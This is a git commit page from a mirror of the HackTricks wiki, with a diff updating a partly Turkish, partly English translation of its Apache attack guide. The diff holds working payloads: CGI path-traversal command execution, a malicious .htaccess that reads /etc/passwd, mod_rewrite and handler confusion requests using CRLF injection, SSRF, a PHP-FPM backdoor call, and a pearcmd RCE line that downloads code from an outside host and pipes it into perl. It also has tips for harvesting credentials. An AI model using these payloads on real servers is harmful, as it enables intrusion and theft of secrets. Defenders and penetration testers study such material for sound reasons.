mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/linux-hardening/privilege-escalation/README.md', 's
This commit is contained in:
parent
166bd24729
commit
0a42fee994
File diff suppressed because it is too large
Load Diff
@ -4,7 +4,7 @@
|
||||
|
||||
## Çalıştırılabilir PHP uzantıları
|
||||
|
||||
Apache sunucusunun hangi uzantıları çalıştırdığını kontrol edin. Onları aramak için şunu çalıştırabilirsiniz:
|
||||
Apache sunucusunun hangi uzantıları çalıştırdığını kontrol edin. Bunları aramak için şu komutu çalıştırabilirsiniz:
|
||||
```bash
|
||||
grep -R -B1 "httpd-php" /etc/apache2
|
||||
```
|
||||
@ -21,19 +21,47 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con
|
||||
uid=1(daemon) gid=1(daemon) groups=1(daemon)
|
||||
Linux
|
||||
```
|
||||
## LFI ile .htaccess ErrorDocument dosya sağlayıcısı (ap_expr)
|
||||
|
||||
Bir dizinin .htaccess'ini kontrol edebiliyorsanız ve AllowOverride o yol için FileInfo içeriyorsa, ErrorDocument içinde ap_expr file() fonksiyonunu kullanarak 404 yanıtlarını rastgele yerel dosya okumalarına dönüştürebilirsiniz.
|
||||
|
||||
- Gereksinimler:
|
||||
- Apache 2.4'te expression parser (ap_expr) etkin olmalı (2.4'te varsayılan).
|
||||
- vhost/dir, .htaccess'in ErrorDocument ayarlamasına izin vermeli (AllowOverride FileInfo).
|
||||
- Apache worker kullanıcısının hedef dosyada okuma izni olmalı.
|
||||
|
||||
.htaccess payload:
|
||||
```apache
|
||||
# Optional marker header just to identify your tenant/request path
|
||||
Header always set X-Debug-Tenant "demo"
|
||||
# On any 404 under this directory, return the contents of an absolute filesystem path
|
||||
ErrorDocument 404 %{file:/etc/passwd}
|
||||
```
|
||||
Bu dizinin altındaki var olmayan herhangi bir yolu isteyerek tetikleyin, örneğin userdir-style hosting'i kötüye kullanırken:
|
||||
```bash
|
||||
curl -s http://target/~user/does-not-exist | sed -n '1,20p'
|
||||
```
|
||||
Notes and tips:
|
||||
- Only absolute paths work. The content is returned as the response body for the 404 handler.
|
||||
- Etkili okuma izinleri Apache kullanıcısının (tipik olarak www-data/apache) izinleridir. Varsayılan kurulumlarda /root/* veya /etc/shadow dosyalarını okuyamazsınız.
|
||||
- Even if .htaccess is root-owned, if the parent directory is tenant-owned and permits rename, you may be able to rename the original .htaccess and upload your own replacement via SFTP/FTP:
|
||||
- rename .htaccess .htaccess.bk
|
||||
- put your malicious .htaccess
|
||||
- Bunu, DocumentRoot veya vhost yapılandırma yolları altındaki uygulama kaynaklarını okuyup sırları (DB creds, API keys, vb.) toplamak için kullanın.
|
||||
|
||||
## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
|
||||
|
||||
Bu tür saldırılar [**Orange tarafından bu blog yazısında**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) tanıtılmış ve belgelenmiştir ve aşağıda bir özet bulunmaktadır. "Confusion" saldırısı, temelde Apache'i oluşturan onlarca modülün mükemmel bir şekilde senkronize çalışmamasını istismar eder ve bunlardan bazılarını beklenmedik verileri değiştirmeye zorlamak, sonraki bir modülde bir zafiyete neden olabilir.
|
||||
These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module.
|
||||
|
||||
### Filename Confusion
|
||||
|
||||
#### Truncation
|
||||
|
||||
**`mod_rewrite`**, `r->filename` içeriğini `?` karakterinden sonra keser ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Bu tamamen yanlış değildir çünkü çoğu modül `r->filename`'ı bir URL olarak ele alır. Ancak diğer durumlarda bu bir dosya yolu olarak ele alınır, bu da bir probleme yol açabilir.
|
||||
The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Ancak başka durumlarda bu bir dosya yolu olarak muamele görecek ve bu bir probleme yol açacaktır.
|
||||
|
||||
- **Path Truncation**
|
||||
|
||||
`mod_rewrite`'ı, beklenen yolun son kısmını basitçe bir `?` ekleyerek kaldırarak dosya sistemindeki diğer dosyalara erişmek için aşağıdaki kural örneğinde olduğu gibi istismar etmek mümkündür:
|
||||
It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`:
|
||||
```bash
|
||||
RewriteEngine On
|
||||
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
|
||||
@ -46,9 +74,9 @@ curl http://server/user/orange
|
||||
curl http://server/user/orange%2Fsecret.yml%3F
|
||||
# the output of file `/var/user/orange/secret.yml`
|
||||
```
|
||||
- **Yanıltıcı RewriteFlag Ataması**
|
||||
- **Mislead RewriteFlag Assignment**
|
||||
|
||||
Aşağıdaki yeniden yazma kuralında, URL .php ile bittiği sürece php olarak işlenecek ve yürütülecektir. Bu nedenle, `?` karakterinden sonra .php ile biten bir URL göndermek ve yolda kötü niyetli php kodu içeren farklı bir dosya türü (örneğin bir resim) yüklemek mümkündür:
|
||||
Aşağıdaki rewrite kuralında, URL .php ile bittiği sürece php olarak işlenecek ve çalıştırılacaktır. Bu nedenle, path içine farklı bir dosya türü (ör. bir resim) yüklerken `?` karakterinden sonra .php ile biten bir URL göndermek mümkündür; bu dosyanın içinde kötü amaçlı php kodu bulunabilir:
|
||||
```bash
|
||||
RewriteEngine On
|
||||
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
|
||||
@ -63,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php
|
||||
```
|
||||
#### **ACL Bypass**
|
||||
|
||||
Kullanıcının erişim izni olmaması gereken dosyalara, erişimin reddedilmesi gereken yapılandırmalarla bile erişmek mümkündür:
|
||||
Erişimin reddedilmesi gereken yapılandırmalarda bile, kullanıcının erişmemesi gereken dosyalara erişim mümkün olabilir:
|
||||
```xml
|
||||
<Files "admin.php">
|
||||
AuthType Basic
|
||||
@ -72,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd"
|
||||
Require valid-user
|
||||
</Files>
|
||||
```
|
||||
Bu, varsayılan olarak PHP-FPM'nin `.php` ile biten URL'leri almasıdır, örneğin `http://server/admin.php%3Fooo.php` ve çünkü PHP-FPM `?` karakterinden sonraki her şeyi kaldıracak, önceki URL `/admin.php`'yi yüklemeye izin verecektir, önceki kural bunu yasaklasa bile.
|
||||
Bunun nedeni, varsayılan olarak PHP-FPM'in `.php` ile biten URL'leri (ör. `http://server/admin.php%3Fooo.php`) alması ve PHP-FPM'in `?` karakterinden sonrasını kaldırmasıdır; önceki URL, önceki kural bunu yasaklamış olsa bile `/admin.php`'in yüklenmesine izin verecektir.
|
||||
|
||||
### DocumentRoot Karışıklığı
|
||||
```bash
|
||||
DocumentRoot /var/www/html
|
||||
RewriteRule ^/html/(.*)$ /$1.html
|
||||
```
|
||||
Apache hakkında eğlenceli bir gerçek, önceki yeniden yazmanın dosyayı hem documentRoot'tan hem de kök dizinden erişmeye çalışmasıdır. Yani, `https://server/abouth.html` isteği, dosyayı dosya sisteminde `/var/www/html/about.html` ve `/about.html` konumlarında kontrol edecektir. Bu, dosya sistemindeki dosyalara erişim sağlamak için kötüye kullanılabilir.
|
||||
Apache hakkında eğlenceli bir bilgi: önceki rewrite hem documentRoot'tan hem de root'tan dosyaya erişmeye çalışır. Yani, `https://server/abouth.html` isteği dosyayı dosya sisteminde `/var/www/html/about.html` ve `/about.html` konumlarında arayacaktır. Bu temelde dosya sistemindeki dosyalara erişmek için suistimal edilebilir.
|
||||
|
||||
#### **Sunucu Tarafı Kaynak Kodu Açığa Çıkarma**
|
||||
|
||||
- **CGI Kaynak Kodunu Açığa Çıkarma**
|
||||
|
||||
Sonuna sadece bir %3F eklemek, bir cgi modülünün kaynak kodunu sızdırmak için yeterlidir:
|
||||
Sondaki %3F'yi eklemek, bir cgi modülünün kaynak kodunu leak etmek için yeterlidir:
|
||||
```bash
|
||||
curl http://server/cgi-bin/download.cgi
|
||||
# the processed result from download.cgi
|
||||
@ -95,62 +123,62 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
|
||||
# ...
|
||||
# # the source code of download.cgi
|
||||
```
|
||||
- **PHP Kaynak Kodunu Açığa Çıkarma**
|
||||
- **Disclose PHP Source Code**
|
||||
|
||||
Eğer bir sunucuda statik bir alan adı da dahil olmak üzere farklı alan adları varsa, bu durum dosya sisteminde gezinmek ve php kodunu açığa çıkarmak için kötüye kullanılabilir:
|
||||
Bir sunucunun farklı domain'leri varsa ve bunlardan biri static bir domain ise, bu dosya sisteminde gezinmek ve php kodunu leak etmek için kötüye kullanılabilir:
|
||||
```bash
|
||||
# Leak the config.php file of the www.local domain from the static.local domain
|
||||
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
|
||||
# the source code of config.php
|
||||
```
|
||||
#### **Yerel Aletlerin Manipülasyonu**
|
||||
#### **Local Gadgets Manipulation**
|
||||
|
||||
Önceki saldırının ana sorunu, varsayılan olarak dosya sistemine erişimin çoğunun Apache HTTP Server’ın [konfigürasyon şablonunda](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) reddedilmesidir:
|
||||
Önceki saldırının asıl sorunu, varsayılan olarak dosya sistemi üzerindeki çoğu erişimin Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) içinde olduğu gibi reddedilmesidir:
|
||||
```xml
|
||||
<Directory />
|
||||
AllowOverride None
|
||||
Require all denied
|
||||
</Directory>
|
||||
```
|
||||
Ancak, [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) işletim sistemleri varsayılan olarak `/usr/share` dizinine izin verir:
|
||||
Ancak, [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) işletim sistemleri varsayılan olarak `/usr/share`'e izin verir:
|
||||
```xml
|
||||
<Directory /usr/share>
|
||||
AllowOverride None
|
||||
Require all granted
|
||||
</Directory>
|
||||
```
|
||||
Bu nedenle, bu dağıtımlardaki `/usr/share` içinde bulunan dosyaların **istismar edilmesi** mümkün olacaktır.
|
||||
Bu nedenle, bu dağıtımlarda **`/usr/share` içinde bulunan dosyalar kötüye kullanılabilir.**
|
||||
|
||||
**Yerel Gadget ile Bilgi Sızıntısı**
|
||||
**Yerel Gadget ile Information Disclosure**
|
||||
|
||||
- **Apache HTTP Server** ile **websocketd**, **/usr/share/doc/websocketd/examples/php/** altında **dump-env.php** script'ini açığa çıkarabilir, bu da hassas ortam değişkenlerini sızdırabilir.
|
||||
- **Nginx** veya **Jetty** ile sunucular, varsayılan web kökleri altında yer alan hassas web uygulama bilgilerini (örneğin, **web.xml**) açığa çıkarabilir:
|
||||
- **Apache HTTP Server** ile **websocketd**, **/usr/share/doc/websocketd/examples/php/** altında **dump-env.php** betiğini açığa çıkarabilir; bu hassas ortam değişkenlerini leak edebilir.
|
||||
- **Nginx** veya **Jetty** çalıştıran sunucular, **/usr/share** altında yer alan varsayılan web kökleri aracılığıyla hassas web uygulaması bilgilerini (ör. **web.xml**) expose edebilir:
|
||||
- **/usr/share/nginx/html/**
|
||||
- **/usr/share/jetty9/etc/**
|
||||
- **/usr/share/jetty9/webapps/**
|
||||
|
||||
**Yerel Gadget ile XSS**
|
||||
|
||||
- **LibreOffice yüklü** Ubuntu Desktop'ta, yardım dosyalarının dil değiştirme özelliğinin istismarı **Cross-Site Scripting (XSS)** ile sonuçlanabilir. **/usr/share/libreoffice/help/help.html** adresindeki URL'yi manipüle etmek, kötü niyetli sayfalara veya eski sürümlere yönlendirebilir.
|
||||
- LibreOffice yüklü bir Ubuntu Desktop üzerinde, yardım dosyalarının dil değiştirme özelliğinin suistimali Cross-Site Scripting (XSS)'e yol açabilir. **/usr/share/libreoffice/help/help.html** içindeki URL manipülasyonu, unsafe **RewriteRule** nedeniyle zararlı sayfalara veya eski sürümlere yönlendirmeye sebep olabilir.
|
||||
|
||||
**Yerel Gadget ile LFI**
|
||||
|
||||
- PHP veya **JpGraph** veya **jQuery-jFeed** gibi belirli ön uç paketleri yüklüyse, bu dosyalar **/etc/passwd** gibi hassas dosyaları okumak için istismar edilebilir:
|
||||
- PHP veya **JpGraph** ya da **jQuery-jFeed** gibi bazı front-end paketleri yüklüyse, bu paketlerin dosyaları kullanılarak **/etc/passwd** gibi hassas dosyalar okunabilir:
|
||||
- **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
|
||||
- **/usr/share/javascript/jquery-jfeed/proxy.php**
|
||||
- **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
|
||||
|
||||
**Yerel Gadget ile SSRF**
|
||||
|
||||
- **MagpieRSS'in magpie_debug.php** dosyasını **/usr/share/php/magpierss/scripts/magpie_debug.php** adresinde kullanarak, kolayca bir SSRF açığı oluşturulabilir ve daha fazla istismar için bir kapı sağlanabilir.
|
||||
- **MagpieRSS**'in **magpie_debug.php**'si **/usr/share/php/magpierss/scripts/magpie_debug.php** konumunda bulunuyorsa, kolayca bir SSRF zafiyeti oluşturulabilir ve bu da daha ileri suistimallere kapı açar.
|
||||
|
||||
**Yerel Gadget ile RCE**
|
||||
|
||||
- **Remote Code Execution (RCE)** için fırsatlar geniştir; eski bir **PHPUnit** veya **phpLiteAdmin** gibi savunmasız kurulumlar vardır. Bunlar, rastgele kod çalıştırmak için istismar edilebilir ve yerel gadget manipülasyonunun geniş potansiyelini sergileyebilir.
|
||||
- Remote Code Execution (RCE) için fırsatlar geniştir; güncel olmayan **PHPUnit** veya **phpLiteAdmin** gibi zafiyetli kurulumlar, rastgele kod yürütmek için exploit edilebilir ve yerel gadget manipülasyonunun geniş potansiyelini gösterir.
|
||||
|
||||
#### **Yerel Gadget'lerden Jailbreak**
|
||||
#### **Jailbreak from Local Gadgets**
|
||||
|
||||
Ayrıca, bu klasörlerdeki kurulu yazılımlar tarafından oluşturulan sembolik bağlantıları takip ederek izin verilen klasörlerden jailbreak yapmak da mümkündür, örneğin:
|
||||
Ayrıca, izin verilen klasörlerdeki yüklü yazılımlar tarafından oluşturulan symlink'leri takip ederek jailbreak yapmak da mümkündür, örneğin:
|
||||
|
||||
- **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
|
||||
- **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
|
||||
@ -158,53 +186,53 @@ Ayrıca, bu klasörlerdeki kurulu yazılımlar tarafından oluşturulan sembolik
|
||||
- **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
|
||||
- **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
|
||||
|
||||
Ayrıca, sembolik bağlantıları istismar ederek **Redmine'de RCE elde etmek** mümkün olmuştur.
|
||||
Ek olarak, symlink'lerin suistimali ile **Redmine**'de **RCE** elde etmek mümkün olmuştur.
|
||||
|
||||
### Handler Karışıklığı <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
|
||||
### Handler Confusion <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
|
||||
|
||||
Bu saldırı, `AddHandler` ve `AddType` direktifleri arasındaki işlevselliğin örtüşmesini istismar eder; her ikisi de **PHP işleme** etkinleştirmek için kullanılabilir. Başlangıçta, bu direktifler sunucunun iç yapısındaki farklı alanları (`r->handler` ve `r->content_type` sırasıyla) etkiliyordu. Ancak, eski kod nedeniyle, Apache bu direktifleri belirli koşullar altında birbirinin yerine kullanır; eğer `r->content_type` ayarlanmışsa, `r->handler` olarak dönüştürür.
|
||||
Bu saldırı, hem PHP işlemesini etkinleştirmek için kullanılabilen `AddHandler` ve `AddType` direktifleri arasındaki işlevsel örtüşmeyi suistimal eder. Başlangıçta bu direktifler sunucunun iç yapısında farklı alanları etkiliyordu (sırasıyla `r->handler` ve `r->content_type`). Ancak eski kod nedeniyle Apache belirli koşullar altında bu direktifleri birbirinin yerine kullanır; eğer `r->content_type` ayarlıysa ve `r->handler` değilse, ilki `r->handler`'a çevrilir.
|
||||
|
||||
Ayrıca, Apache HTTP Server'da (`server/config.c#L420`), `ap_run_handler()` çalıştırılmadan önce `r->handler` boşsa, sunucu **`r->content_type`'i handler olarak kullanır**, bu da `AddType` ve `AddHandler`'ı etkili bir şekilde aynı hale getirir.
|
||||
Dahası, Apache HTTP Server'da (`server/config.c#L420`), `ap_run_handler()` çalıştırılmadan önce `r->handler` boşsa, sunucu **handler** olarak `r->content_type`'ı kullanır; bu da `AddType` ve `AddHandler`'ı pratikte eşdeğer kılar.
|
||||
|
||||
#### **PHP Kaynak Kodunu Açığa Çıkarmak için Handler'ı Üzerine Yazma**
|
||||
#### **Overwrite Handler to Disclose PHP Source Code**
|
||||
|
||||
[**bu konuşmada**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), bir istemci tarafından gönderilen yanlış bir `Content-Length`'in Apache'nin yanlışlıkla **PHP kaynak kodunu döndürmesine** neden olabileceği bir zafiyet sunulmuştur. Bu, ModSecurity ve Apache Portable Runtime (APR) ile ilgili bir hata yönetimi sorunu nedeniyle, çift yanıtın `r->content_type`'ı `text/html` olarak üzerine yazmasına yol açmıştır.\
|
||||
ModSecurity, dönüş değerlerini düzgün bir şekilde yönetmediği için, PHP kodunu döndürür ve bunu yorumlamaz.
|
||||
[**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) sunumunda, bir istemcinin gönderdiği yanlış bir `Content-Length` değeri nedeniyle Apache'in yanlışlıkla **PHP kaynak kodunu return etmesine** yol açan bir zafiyet gösterildi. Bu, ModSecurity ile Apache Portable Runtime (APR) arasındaki bir hata işleme sorunundan kaynaklanıyordu; çift yanıt durumunda `r->content_type` üzerine yazılarak `text/html` olacak şekilde değiştiriliyordu.\
|
||||
ModSecurity dönüş değerlerini düzgün işlemeyince, PHP kodunu return eder ve onu yorumlamaz.
|
||||
|
||||
#### **XXXX için Handler'ı Üzerine Yazma**
|
||||
#### **Overwrite Handler to XXXX**
|
||||
|
||||
TODO: Orange bu zafiyeti henüz açıklamadı
|
||||
TODO: Orange henüz bu zafiyeti açıklamadı
|
||||
|
||||
### **Rastgele Handler'ları Çağırma**
|
||||
### **Invoke Arbitrary Handlers**
|
||||
|
||||
Eğer bir saldırgan, sunucu yanıtındaki **`Content-Type`** başlığını kontrol edebiliyorsa, **rastgele modül handler'larını çağırma** yeteneğine sahip olacaktır. Ancak, saldırgan bunu kontrol ettiğinde, isteğin çoğu süreci tamamlanmış olacaktır. Ancak, **`Location` başlığını istismar ederek isteği yeniden başlatmak** mümkündür; çünkü eğer **dönülen `Status` 200 ise ve `Location` başlığı `/` ile başlıyorsa, yanıt Sunucu Tarafı Yönlendirmesi olarak işlenir ve işlenmelidir.
|
||||
Eğer bir saldırgan bir sunucu yanıtında `Content-Type` başlığını kontrol edebilirse, keyfi modül handler'larını invoke edebilir. Ancak saldırgan bunun kontrolünü ele geçirdiğinde isteğin çoğu işlemi zaten gerçekleştirilmiş olur. Yine de, eğer `Location` başlığı suistimal edilirse istek sürecini yeniden başlatmak mümkündür; çünkü eğer döndürülen `Status` 200 ise ve `Location` başlığı `'/'` ile başlıyorsa, yanıt bir Server-Side Redirection olarak değerlendirilir ve yeniden işlenmelidir.
|
||||
|
||||
[RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (CGI hakkında spesifikasyon) [Bölüm 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2)'de Yerel Yönlendirme Yanıtı davranışını tanımlar:
|
||||
RFC 3875 (CGI hakkındaki spesifikasyon) [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) şu Local Redirect Response davranışını tanımlar:
|
||||
|
||||
> CGI script'i, bir Yerel kaynak için bir URI yolu ve sorgu dizisi ('local-pathquery') döndürebilir. Bu, sunucuya belirtilen yolu kullanarak isteği yeniden işlemesi gerektiğini gösterir.
|
||||
> The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.
|
||||
|
||||
Bu nedenle, bu saldırıyı gerçekleştirmek için aşağıdaki zafiyetlerden birine ihtiyaç vardır:
|
||||
Dolayısıyla, bu saldırıyı gerçekleştirmek için aşağıdaki zaafiyetlerden biri gereklidir:
|
||||
|
||||
- CGI yanıt başlıklarında CRLF Enjeksiyonu
|
||||
- Yanıt başlıklarının tam kontrolü ile SSRF
|
||||
- CRLF Injection in the CGI response headers
|
||||
- SSRF with complete control of the response headers
|
||||
|
||||
#### **Rastgele Handler ile Bilgi Sızıntısı**
|
||||
#### **Arbitrary Handler to Information Disclosure**
|
||||
|
||||
Örneğin, `/server-status` yalnızca yerel olarak erişilebilir olmalıdır:
|
||||
Örneğin `/server-status` sadece yerel erişime açık olmalıdır:
|
||||
```xml
|
||||
<Location /server-status>
|
||||
SetHandler server-status
|
||||
Require local
|
||||
</Location>
|
||||
```
|
||||
`Content-Type`'ı `server-status` olarak ayarlayıp Location başlığını `/` ile başlatarak erişmek mümkündür.
|
||||
Erişim, `Content-Type`'ı `server-status` olarak ayarlayıp Location header'ını `/` ile başlayan bir değere ayarlayarak mümkündür.
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo %0d%0a
|
||||
Content-Type:server-status %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
#### **Rastgele İşleyici ile Tam SSRF**
|
||||
#### **Arbitrary Handler'dan Full SSRF'ye**
|
||||
|
||||
Herhangi bir URL'deki herhangi bir protokole erişmek için `mod_proxy`'ye yönlendirme:
|
||||
```
|
||||
@ -215,20 +243,20 @@ http://example.com/%3F
|
||||
%0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
Ancak, `X-Forwarded-For` başlığı, bulut meta veri uç noktalarına erişimi engelleyecek şekilde eklenmiştir.
|
||||
Ancak, `X-Forwarded-For` header eklendiği için bulut metadata uç noktalarına erişim engelleniyor.
|
||||
|
||||
#### **Yerel Unix Domain Socket'e Erişim için Keyfi İşleyici**
|
||||
#### **Arbitrary Handler to Access Local Unix Domain Socket**
|
||||
|
||||
PHP-FPM'nin yerel Unix Domain Socket'ine erişerek `/tmp/` dizininde bulunan bir PHP arka kapısını çalıştırın:
|
||||
PHP-FPM’in local Unix Domain Socket'ine erişerek `/tmp/` içinde bulunan bir PHP backdoor'unu çalıştırın:
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
|
||||
Location:/ooo %0d%0a
|
||||
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
#### **Rastgele İşleyici ile RCE**
|
||||
#### **Arbitrary Handler to RCE**
|
||||
|
||||
Resmi [PHP Docker](https://hub.docker.com/_/php) imajı, RCE elde etmek için kötüye kullanılabilecek bir komut satırı PHP paket yönetim aracı olan PEAR (`Pearcmd.php`) içerir:
|
||||
Resmi [PHP Docker](https://hub.docker.com/_/php) imajı PEAR (`Pearcmd.php`) içerir; bu, komut satırı bir PHP paket yönetim aracıdır ve RCE elde etmek için kötüye kullanılabilir:
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
|
||||
@ -237,10 +265,13 @@ orange.tw/x|perl
|
||||
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
Docker PHP LFI Özeti için [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp) bağlantısını kontrol edin, bu teknikle ilgili detaylar için [Phith0n](https://x.com/phithon_xg) tarafından yazılmıştır.
|
||||
Bu tekniğin detayları için [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp) (yazar: [Phith0n](https://x.com/phithon_xg)) adresine bakın.
|
||||
|
||||
## Referanslar
|
||||
## Kaynaklar
|
||||
|
||||
- [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
|
||||
- [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html)
|
||||
- [Apache 2.4 Expressions and functions (file:)](https://httpd.apache.org/docs/2.4/expr.html)
|
||||
- [HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse](https://0xdf.gitlab.io/2025/08/12/htb-zero.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user